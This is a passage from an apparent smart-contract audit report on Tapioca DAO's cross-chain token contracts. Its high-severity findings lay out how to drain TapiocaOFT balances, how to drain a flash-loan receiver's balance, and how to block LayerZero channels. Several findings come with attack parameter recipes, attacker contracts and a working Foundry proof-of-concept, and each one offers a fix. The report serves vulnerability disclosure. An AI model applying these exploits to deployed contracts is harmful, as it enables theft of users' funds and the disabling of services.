  1. So the attack is just simply transferring all the underlying erc20 tokens to the attacker.

The underlying ERC20 token for each TOFT can be queried through erc20() function, and the tapAmount to pass is ERC20 balance of the TOFT.

This attack is possible because the msg.sender inside the exerciseInternal is the address of the TOFT which is the owner of all the ERC20 tokens that get stolen.

Validate that tapSendData.tapOftAddress is the address of TapOFT token either while sending the message or during the reception of the message on the remote chain.

0xRektora (Tapioca) confirmed


[H-12] TOFT removeCollateral can be used to steal all the balance

Submitted by windhustler, also found by 0x73696d616f

removeCollateral -> remove message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT tokens in case when their underlying tokens is native. TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.

Proof of Concept

The attack needs to be executed by invoking the removeCollateral function from any chain to chain on which the underlying balance resides, e.g. host chain of the TOFT. When the message is received on the remote chain, I have placed in the comments below what are the params that need to be passed to execute the attack.

    function remove(bytes memory _payload) public {
    (
        ,
        ,
        address to,
        ,
        ITapiocaOFT.IRemoveParams memory removeParams,
        ICommonData.IWithdrawParams memory withdrawParams,
        ICommonData.IApproval[] memory approvals
    ) = abi.decode(
        _payload,
        (
            uint16,
            address,
            address,
            bytes32,
            ITapiocaOFT.IRemoveParams,
            ICommonData.IWithdrawParams,
            ICommonData.IApproval[]
        )
    );
    // approvals can be an empty array so this is skipped
    if (approvals.length > 0) {
        _callApproval(approvals);
    }

    // removeParams.market and removeParams.share don't matter 
    approve(removeParams.market, removeParams.share);
    // removeParams.market just needs to be deployed by the attacker and do nothing, it is enough to implement IMarket interface
    IMarket(removeParams.market).removeCollateral(
        to,
        to,
        removeParams.share
    );
    
    // withdrawParams.withdraw =  true to enter the if block
    if (withdrawParams.withdraw) {
        // Attackers removeParams.market contract needs to have yieldBox() function and it can return any address
        address ybAddress = IMarket(removeParams.market).yieldBox();
        // Attackers removeParams.market needs to have collateralId() function and it can return any uint256
        uint256 assetId = IMarket(removeParams.market).collateralId();
        
        // removeParams.marketHelper is a malicious contract deployed by the attacker which is being transferred all the balance
        // withdrawParams.withdrawLzFeeAmount needs to be precomputed by the attacker to match the balance of TapiocaOFT
        IMagnetar(removeParams.marketHelper).withdrawToChain{
                value: withdrawParams.withdrawLzFeeAmount // This is not validated on the sending side so it can be any value
            }(
            ybAddress,
            to,
            assetId,
            withdrawParams.withdrawLzChainId,
            LzLib.addressToBytes32(to),
            IYieldBoxBase(ybAddress).toAmount(
                assetId,
                removeParams.share,
                false
            ),
            removeParams.share,
            withdrawParams.withdrawAdapterParams,
            payable(to),
            withdrawParams.withdrawLzFeeAmount
        );
    }
}

Neither removeParams.marketHelper or withdrawParams.withdrawLzFeeAmount are validated on the sending side so the former can be the address of a malicious contract and the latter can be the TOFT’s balance of gas token.

This type of attack is possible because the msg.sender in IMagnetar(removeParams.marketHelper).withdrawToChain is the address of the TOFT contract which holds all the balances.

This is because:

  1. Relayer submits the message to lzReceive so he is the msg.sender.
  2. Inside the _blockingLzReceive there is a call into its own public function so the msg.sender is the address of the contract.
  3. Inside the _nonBlockingLzReceive there is delegatecall into a corresponding module which preserves the msg.sender which is the address of the TOFT.
  4. Inside the module there is a call to withdrawToChain and here the msg.sender is the address of the TOFT contract, so we can maliciously transfer all the balance of the TOFT.

Tools Used

Foundry

It’s hard to recommend a simple fix since as I pointed out in my other issues the airdropping logic has many flaws. One of the ways of tackling this issue is during the removeCollateral to:

  • Do not allow adapterParams params to be passed as bytes but rather as gasLimit and airdroppedAmount, from which you would encode either adapterParamsV1 or adapterParamsV2.
  • And then on the receiving side check and send with value only the amount the user has airdropped.

0xRektora (Tapioca) confirmed and commented:

Related to https://github.com/code-423n4/2023-07-tapioca-findings/issues/1290


[H-13] TOFT triggerSendFrom can be used to steal all the balance

Submitted by windhustler

triggerSendFrom -> sendFromDestination message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT` tokens in case when their underlying tokens is native gas token. TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.

Proof of Concept

The attack flow is the following:

  1. Attacker calls triggerSendFrom with airdropAdapterParams of type airdropAdapterParamsV1 which don’t airdrop any value on the remote chain but just deliver the message.
  2. On the other hand lzCallParams are of type adapterParamsV2 which are used to airdrop the balance from the destination chain to another chain to the attacker.
struct LzCallParams {
    address payable refundAddress; // => address of the attacker
    address zroPaymentAddress; // => doesn't matter
    bytes adapterParams; //=> airdropAdapterParamsV2
}
  1. Whereby the sendFromData.adapterParams would be encoded in the following way:
function encodeAdapterParamsV2() public {
    // https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
    uint256 gasLimit = 250_000; // something enough to deliver the message
    uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc.
    address attacker = makeAddr("attacker"); // => address of the attacker
    bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker);
}
  1. When this is received on the remote inside the sendFromDestination ISendFrom(address(this)).sendFrom{value: address(this).balance} is instructed by the malicious ISendFrom.LzCallParams memory callParamsto actually airdrop the max amount allowed by LayerZero to the attacker on the lzDstChainId.
  2. Since there is a cap on the maximum airdrop amount this type of attack would need to be executed multiple times to drain the balance of the TOFT.

The core issue at play here is that BaseTOFT delegatecalls into the BaseTOFTOptionsModule and thus the BaseTOFT is the msg.sender for sendFrom function.

There is also another simpler attack flow possible:

  1. Since sendFromDestination passes as value whole balance of the TapiocaOFT it is enough to specify the refundAddress in callParams as the address of the attacker.
  2. This way the whole balance will be transferred to the _lzSend and any excess will be refunded to the _refundAddress.
  3. This is how layer zero works.

Tools Used

Foundry

One of the ways of tackling this issue is during the triggerSendFrom to:

  • Not allowing airdropAdapterParams and sendFromData.adapterParams params to be passed as bytes but rather as gasLimit and airdroppedAmount, from which you would encode either adapterParamsV1 or adapterParamsV2.
  • And then on the receiving side check and send with value only the amount the user has airdropped.
// Only allow the airdropped amount to be used for another message
ISendFrom(address(this)).sendFrom{value: aidroppedAmount}(
   from,
   lzDstChainId,
   LzLib.addressToBytes32(from),
   amount,
   callParams
);

0xRektora (Tapioca) confirmed


[H-14] All assets of (m)TapiocaOFT can be stealed by depositing to strategy cross chain call with 1 amount but maximum shares possible

Submitted by 0x73696d616f

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L224

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L450

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L47

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L58

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L154

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L181-L185

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L118

Attacker can be debited only the least possible amount (1) but send the share argument as the maximum possible value corresponding to the erc balance of (m)TapiocaOFT. This would enable the attacker to steal all the erc balance of the (m)TapiocaOFT contract.

Proof of Concept

In BaseTOFT, SendToStrategy(), has no validation and just delegate calls to sendToStrategy() function of the BaseTOFTStrategyModule.

In the mentioned module, the quantity debited from the user is the amount argument, having no validation in the corresponding share amount:

function sendToStrategy(
    address _from,
    address _to,
    uint256 amount,
    uint256 share,
    uint256 assetId,
    uint16 lzDstChainId,
    ICommonData.ISendOptions calldata options
) external payable {
    require(amount > 0, "TOFT_0");
    bytes32 toAddress = LzLib.addressToBytes32(_to);
    _debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount);
    ...

Then, a payload is sent to the destination chain in _lzSend() of type PT_YB_SEND_STRAT.

Again, in BaseTOFT, the function _nonBlockingLzReceive() handles the received message and delegate calls to the BaseTOFTStrategyModule, function strategyDeposit(). In this, function, among other things, it delegate calls to depositToYieldbox(), of the same module:

function depositToYieldbox(
    uint256 _assetId,
    uint256 _amount,
    uint256 _share,
    IERC20 _erc20,
    address _from,
    address _to
) public {
    _amount = _share > 0
        ? yieldBox.toAmount(_assetId, _share, false)
        : _amount;
    _erc20.approve(address(yieldBox), _amount);
    yieldBox.depositAsset(_assetId, _from, _to, _amount, _share);
}

The _share argument is the one the user initially provided in the source chain; however, the _amount, is computed from the yieldBox ratio, effectively overriding the specified amount in the source chain of 1. This will credit funds to the attacker from other users that bridged assets through (m)TapiocaOFT.

The following POC in Foundry demonstrates how an attacker can be debited on the source chain an amount of 1 but call depositAsset() on the destination chain with an amount of 2e18, the available in the TapiocaOFT contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockYieldBox is Test {
    function depositAsset(
        uint256 assetId,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external payable returns (uint256, uint256) {}
    
    function toAmount(
        uint256,
        uint256 share,
        bool 
    ) external pure returns (uint256 amount) {
        // real formula amount = share._toAmount(totalSupply[assetId], _tokenBalanceOf(assets[assetId]), roundUp);
        // assume ratio is 1:1
        return share;
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_YB_SEND_STRAT = 770;

    function test_POC_SendToStrategy_WithoutAllDebitedFrom() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address mockERC20_ = address(new ERC20("mockERC20", "MERC20"));

        address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        address mockYieldBox_ = address(new MockYieldBox());

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            mockERC20_,
            IYieldBoxBase(mockYieldBox_),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(strategyModule_),
            payable(address(3)),
            payable(address(4))
        );

        // some user wraps 2e18 mock erc20
        address user_ = makeAddr("user");
        deal(mockERC20_, user_, 2e18);
        vm.startPrank(user_);
        ERC20(mockERC20_).approve(address(tapiocaOft_), 2e18);
        tapiocaOft_.wrap(user_, user_, 2e18);
        vm.stopPrank();

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1e18); // lz fees

        address from_ = attacker_;
        address to_ = attacker_;
        uint256 amount_ = 1;
        uint256 share_ = 2e18; // steal all available funds in (m)Tapioca (only 1 user with 2e18)
        uint256 assetId_ = 1;
        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        ICommonData.ISendOptions memory options_ = ICommonData.ISendOptions(200_000, zroPaymentAddress_);

        tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));

        // attacker is only debited 1 amount, but specifies 2e18 shares, a possibly much bigger corresponding amount
        deal(mockERC20_, attacker_, 1);
        vm.startPrank(attacker_);
        ERC20(mockERC20_).approve(address(tapiocaOft_), 1);
        tapiocaOft_.wrap(attacker_, attacker_, 1);
        tapiocaOft_.sendToStrategy{value: 1 ether}(from_, to_, amount_, share_, assetId_, lzDstChainId_, options_);
        vm.stopPrank();

        bytes memory lzPayload_ = abi.encode(
            PT_YB_SEND_STRAT,
            bytes32(uint256(uint160(from_))),
            attacker_,
            amount_,
            share_,
            assetId_,
            zroPaymentAddress_
        );
        
        // attacker was debited from 1 amount, but deposit sends an amount of 2e18
        vm.expectCall(address(mockYieldBox_), 0, abi.encodeCall(MockYieldBox.depositAsset, (assetId_, address(tapiocaOft_), attacker_, 2e18, 2e18)));
        
        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
    }
}

Tools Used

Vscode, Foundry

Given that it’s impossible to fetch the YieldBox ratio in the source chain, it’s best to stick with the amount only and remove the share argument in the cross chain sendToStrategy() function call.

0xRektora (Tapioca) confirmed


[H-15] Attacker can specify any receiver in USD0.flashLoan() to drain receiver balance

Submitted by mojito_auditor, also found by n1punp

The flash loan feature in USD0’s flashLoan() function allows the caller to specify the receiver address. USD0 is then minted to this address and burnt from this address plus a fee after the callback. Since there is a fee in each flash loan, an attacker can abuse this to drain the balance of the receiver because the receiver can be specified by the caller without validation.

Proof of Concept

The allowance checked that receiver approved to address(this) but not check if receiver approved to msg.sender

uint256 _allowance = allowance(address(receiver), address(this));
require(_allowance >= (amount + fee), "USDO: repay not approved");
// @audit can specify receiver, drain receiver's balance
_approve(address(receiver), address(this), _allowance - (amount + fee));
_burn(address(receiver), amount + fee);
return true;

Consider changing the “allowance check” to be the allowance that the receiver gave to the caller instead of address(this).

0xRektora (Tapioca) confirmed


[H-16] Attacker can block LayerZero channel due to variable gas cost of saving payload

Submitted by windhustler

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52

This is an issue that affects BaseUSDO, BaseTOFT, and BaseTapOFT or all the contracts which are sending and receiving LayerZero messages. The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s sendToYAndBorrow. This function allows the user to mint/borrow USDO with some collateral that is wrapped in a TOFT and gives the option of transferring minted USDO to another chain.

The attack starts by invoking sendToYBAndBorrow which delegate calls into BaseTOFTMarketModule. If we look at the implementation inside the BaseTOFTMarketModule nothing is validated there except for the lzPayload which has the packetType of PT_YB_SEND_SGL_BORROW.

The only validation of the message happens inside the LzApp with the configuration which was set. What is restrained within this configuration is the payload size, which if not configured defaults to 10k bytes.

The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend implementation. I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.

I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.

To execute the attack we need to pass the following parameters to the function mentioned above:

    function executeAttack() public {
        address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
        tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
            address from => // malicious user address
            address to => // malicious user address
            lzDstChainId => // any chain lzChainId
            bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
            ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
            ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
            ICommonData.ISendOptions calldata options, // can be anything
            ICommonData.IApproval[] calldata approvals // Elaborating on this below
        )
    }

ICommonData.IApproval[] calldata approvals are going to be fake data so max payload size limit is reached(10k). The target of the 1st approval in the array will be the GasDrainingContract deployed on the receiving chain and the permitBorrow = true.

    contract GasDrainingContract {
        mapping(uint256 => uint256) public storageVariables;
    
        function permitBorrow(
            address owner,
            address spender,
            uint256 value,
            uint256 deadline,
            uint8 v,
            bytes32 r,
            bytes32 s
        ) external {
            for (uint256 i = 0; i < 100000; i++) {
                storageVariables[i] = i;
            }
        }
    }

Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.

  1. Transaction is successfully received inside the lzReceive after which it reaches _blockingLzReceive.
  2. This is the first external call and according to EIP-150 out of 1 million gas:

    • 63/64 or ~985k would be forwarded to the external call.
    • 1/64 or ~15k will be left for the rest of the execution.
  3. The cost of saving a big payload into the failedMessages and emitting events is higher than 15k.

When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract FailedMessagesTest is Test {

    mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;

    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);

    function setUp() public {}

    function testFMessagesGas() public {
        uint16 srcChainid = 1;
        bytes memory srcAddress = abi.encode(makeAddr("Alice"));
        uint64 nonce = 10;
        bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
        bytes memory reason = getDummyPayload(2);

        uint256 gasLeft = gasleft();
        _storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
        emit log_named_uint("gas used", gasLeft - gasleft());
    }


    function _storeFailedMessage(
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload,
        bytes memory _reason
    ) internal virtual {
        failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
        emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
    }

    function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
        bytes memory payload = new bytes(payloadSize);
        for (uint256 i = 0; i < payloadSize; i++) {
            payload[i] = bytes1(uint8(65 + i));
        }
        return payload;
    }
}
  • If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
  • Even with a smaller payload of 500 bytes the cost is 32k gas.
  • If we can drain the 985k gas in the rest of the execution since storing failedMessages would fail the pathway would be blocked because this will fail at the level of LayerZero and result in StoredPayload.
  • Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for _nonblockingLzReceive the _executeOnDestination is invoked for the right packet type and there we have another external call which delegatecalls into the right module.

Since it is also an external call only 63/64 gas is forwarded which is roughly:

Tools Used

Foundry

_executeOnDestination storing logic is just code duplication and serves no purpose. Instead of that you should override the _blockingLzReceive.

Create a new storage variable called gasAllocation which can be set only by the owner and change the implementation to:

(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));

While ensuring that gasleft() > gasAllocation in each and every case. This should be enforced on the sending side.

Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation needs to be big enough to cover storing max payload size.

Other occurrences

This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:

BaseTOFT

BaseUSDO

BaseTapOFT

Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens) there are no reverts in case the rewardToken is invalid we can execute the gas draining attack inside the sendFrom whereby rewardTokens[i] is our malicious contract.

0xRektora (Tapioca) confirmed


[H-17] Attacker can block LayerZero channel due to missing check of minimum gas passed

Submitted by windhustler, also found by 0x73696d616f

This is an issue that affects all the contracts that inherit from NonBlockingLzApp due to incorrect overriding of the lzSend function and lack of input validation and the ability to specify whatever adapterParams you want. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

Layer Zero minimum gas showcase

While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params. All the invocations of lzSend inside the TapiocaDao contracts naively assume that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want. As a showcase, I have set up a simple contract that implements the NonBlockingLzApp and sends only 30k gas which reverts on the destination chain resulting in StoredPayload and blocking of the message pathway between the two lzApps. The transaction below proves that if no minimum gas is enforced, an application that has the intention of using the NonBlockingApp can end up in a situation where there is a StoredPayload and the pathway is blocked.

Transaction Hashes for the example mentioned above:

Attack scenario

The attacker calls triggerSendFrom and specifies a small amount of gas in the airdropAdapterParams(~50k gas). The Relayer delivers the transaction with the specified gas at the destination.

The transaction is first validated through the LayerZero contracts before it reaches the lzReceive function. The Relayer will give exactly the gas which was specified through the airdropAdapterParams. The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for. The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive function and the message pathway is blocked, resulting in StoredPayload.

The objective of the attack is that the execution doesn’t reach the NonblockingLzApp since then the behavior of the NonBlockingLzApp would be as expected and the pathway wouldn’t be blocked, but rather the message would be stored inside the failedMessages

Tools Used

Foundry, Tenderly, LayerZeroScan

The minimum gas enforced to send for each and every _lzSend in the app should be enough to cover the worst-case scenario for the transaction to reach the first try/catch which is here.

I would advise the team to do extensive testing so this min gas is enforced.

Immediate fixes:

  1. This is most easily fixed by overriding the _lzSend and extracting the gas passed from adapterParams with _getGasLimit and validating that it is above some minimum threshold.
  2. Another option is specifying the minimum gas for each and every packetType and enforcing it as such.

I would default to the first option because the issue is twofold since there is the minimum gas that is common for all the packets, but there is also the minimum gas per packet since each packet has a different payload size and data structure, and it is being differently decoded and handled.

Note: This also applies to the transaction which when received on the destination chain is supposed to send another message, this callback message should also be validated.

When it comes to the default implementations inside the OFTCoreV2 there are two packet types PT_SEND and PT_SEND_AND_CALL and there is the available configuration of useCustomAdapterParams which can enforce the minimum gas passed. This should all be configured properly.

Other occurrences

There are many occurrences of this issue in the TapiocaDao contracts, but applying option 1 I mentioned in the mitigation steps should solve the issue for all of them:

TapiocaOFT

lzSend

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L101 - lzData.extraGas This naming is misleading it is not extraGas it is the gas that is used by the Relayer.

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L68

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L99

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L66

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L114

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L70

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L111

sendFrom

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142 - This is executed as a part of lzReceive but is a message inside a message. It is also subject to the attack above, although it goes through the PT_SEND so adequate config should solve the issue.

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L241

BaseUSDO

lzSend

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L41

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L86

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L51

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L82

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L48

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L87

sendFrom

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L127

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L226

BaseTapOFT

lzSend

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L108

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L181

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L274

sendFrom

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312

MagnetarV2

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/MagnetarV2.sol#L268

MagnetarMarketModule

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/modules/MagnetarMarketModule.sol#L725

0xRektora (Tapioca) confirmed via duplicate issue 841


[H-18] multiHopSellCollateral() will fail due to call on an invalid market address causing bridged collateral to be locked up

Submitted by peakbolt

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/markets/singularity/Singularity.sol#L409-L427

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/markets/singularity/SGLLeverage.sol#L81

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L79-L108

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L227

multiHopSellCollateral() allows users to leverage down by selling the TOFT collateral on another chain and then send it to host chain (Arbitrum) for repayment of USDO loan.

However, it will fail as it tries to obtain the repayableAmount on the destination chain by calling IMagnetar.getBorrowPartForAmount() on a non-existing market. That is because Singularity/BigBang markets are only deployed on the host chain.

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205-L227

    function leverageDownInternal(
        uint256 amount,
        IUSDOBase.ILeverageSwapData memory swapData,
        IUSDOBase.ILeverageExternalContractsData memory externalData,
        IUSDOBase.ILeverageLZData memory lzData,
        address leverageFor
    ) public payable {
        _unwrap(address(this), amount);

        //swap to USDO
        IERC20(erc20).approve(externalData.swapper, amount);
        ISwapper.SwapData memory _swapperData = ISwapper(externalData.swapper)
            .buildSwapData(erc20, swapData.tokenOut, amount, 0, false, false);
        (uint256 amountOut, ) = ISwapper(externalData.swapper).swap(
            _swapperData,
            swapData.amountOutMin,
            address(this),
            swapData.data
        );

        //@audit this call will fail as there is no market in destination chain
        //repay
        uint256 repayableAmount = IMagnetar(externalData.magnetar)
            .getBorrowPartForAmount(externalData.srcMarket, amountOut);

Impact

The issue will prevent users from using multiHopSellCollateral() to leverage down.

Furthermore the failure of the cross-chain transaction will cause the bridged collateral to be locked in the TOFT contract on a non-host chain as the refund mechanism will also revert and retryMessage() will continue to fail as this is a permanent error.

Proof of Concept

Consider the following scenario where a user leverage down by selling the collateral on Ethereum (a non-host chain).

  1. User first triggers Singularity.multiHopSellCollateral() on host chain Arbitrum.
  2. That will call SGLLeverage.multiHopSellCollateral(), which will conduct a cross chain message via ITapiocaOFT(address(collateral)).sendForLeverage() to bridge over and sell the collateral on Ethereum mainnet.
  3. The collateral TOFT contract on Ethereum mainnet will receive the bridged collateral and cross-chain message via _nonBlockingLzReceive() and then BaseTOFTLeverageModule.leverageDown().
  4. The execution continues with BaseTOFTLeverageModule.leverageDownInternal(), but it will revert as it attempt to call getBorrowPartForAmount() for a non-existing market in Ethereum.
  5. The bridgex collateral will be locked in the TOFT contract on Ethereum mainnet as the refund mechanism will also revert and retryMessage() will continue to fail as this is a permanent error.

Obtain the repayable amount on the Arbitrum (host chain) where the BigBang/Singularity markets are deployed.

0xRektora (Tapioca) confirmed


[H-19] twTAP.participate() can be permanently frozen due to lack of access control on host-chain-only operations

Submitted by peakbolt

twTAP is a omnichain NFT (ONFT721) that will be deployed on all supported chains.

However, there are no access control for operations meant for execution on the host chain only, such as participate(), which mints twTAP.

The implication of not restricting participate() to host chain is that an attacker can lock TAP and participate on other chain to mint twTAP with a tokenId that does not exist on the host chain yet. The attacker can then send that twTAP to the host chain using the inherited sendFrom(), to permanently freeze the twTAP contract as participate() will fail when attempting to mint an existing tokenId.

It is important to restrict minting to the host chain so that mintedTWTap (which keeps track of last minted tokenId) is only incremented at one chain, to prevent duplicate tokenId. That is because the twTAP contracts on each chain have their own mintedTWTap variable and there is no mechanism to sync them.

Detailed Explanation

In TwTAP, there are no modifiers or checks to ensure participte() can only be called on the host chain. So we can use it to mint a twTAP on a non-host chain.
https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/governance/twTAP.sol#L252-L256

    function participate(
        address _participant,
        uint256 _amount,
        uint256 _duration
    ) external returns (uint256 tokenId) {
        require(_duration >= EPOCH_DURATION, "twTAP: Lock not a week");

The tokenId to be minted is determined by mintedTWTap, which is not synchronized across the chains.

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/governance/twTAP.sol#L309-L310

    function participate(
        ...
        //@audit tokenId to mint is obtained from `mintedTWTap`
        tokenId = ++mintedTWTap;
